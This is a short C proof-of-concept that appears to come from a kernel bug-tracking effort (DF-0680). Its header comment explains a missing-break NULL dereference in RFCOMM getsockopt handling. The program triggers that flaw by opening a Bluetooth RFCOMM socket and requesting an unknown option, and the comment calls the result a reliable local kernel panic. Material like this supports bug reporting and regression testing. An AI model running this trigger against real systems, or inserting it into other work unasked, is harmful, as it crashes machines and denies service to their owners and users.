/*
 * DF-0680 trigger: rfcomm_socket.c PRCO_GETOPT missing-break NULL-deref panic.
 *
 * Mechanism (sys/netbt/rfcomm_socket.c:115-127):
 *   case PRCO_GETOPT:
 *       m = m_get(M_WAITOK, MT_DATA);          // :117 m != NULL
 *       m->m_len = rfcomm_getopt(...);          // :119 returns 0 for unknown opt
 *       if (m->m_len == 0) {
 *           m_freem(m);                         // :122 free
 *           m = NULL;                           // :123 set NULL
 *           error = ENOPROTOOPT;                // :124
 *       }                                       // NO break -- falls through
 *       soopt_from_kbuf(sopt, mtod(m, ...), m->m_len);  // :126 mtod(NULL) => kernel fault
 *
 * Trigger: socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM) then getsockopt
 * with any unknown option number (e.g. 99). 100% reliable local kernel panic
 * when netbt.ko is loaded. No Bluetooth hardware needed.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* Bluetooth protocol/domain constants -- mirror <netbt/bluetooth.h> */
#define AF_BLUETOOTH    33
#define BTPROTO_RFCOMM  3

int main(void) {
    int fd, rc;
    socklen_t len;
    char buf[64];

    printf("[*] DF-0680: RFCOMM PRCO_GETOPT missing-break panic trigger\n");
    printf("[*] opening AF_BLUETOOTH/SOCK_STREAM/BTPROTO_RFCOMM socket\n");

    fd = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
    if (fd < 0) {
        printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno);
        if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT)
            printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n");
        return 2;
    }
    printf("[+] socket fd=%d allocated\n", fd);

    printf("[*] getsockopt(fd, BTPROTO_RFCOMM, 99=unknown, ...) -> expect kernel panic\n");
    fflush(stdout);

    len = sizeof(buf);
    memset(buf, 0, sizeof(buf));
    /* optname=99 -- not SO_RFCOMM_MTU(1)/FC_INFO(2)/LM(3) so rfcomm_getopt
     * returns 0; m_freem + m=NULL + missing break => mtod(NULL) fault. */
    rc = getsockopt(fd, BTPROTO_RFCOMM, 99, buf, &len);
    printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n",
           rc, errno, strerror(errno));

    close(fd);
    return 0;
}
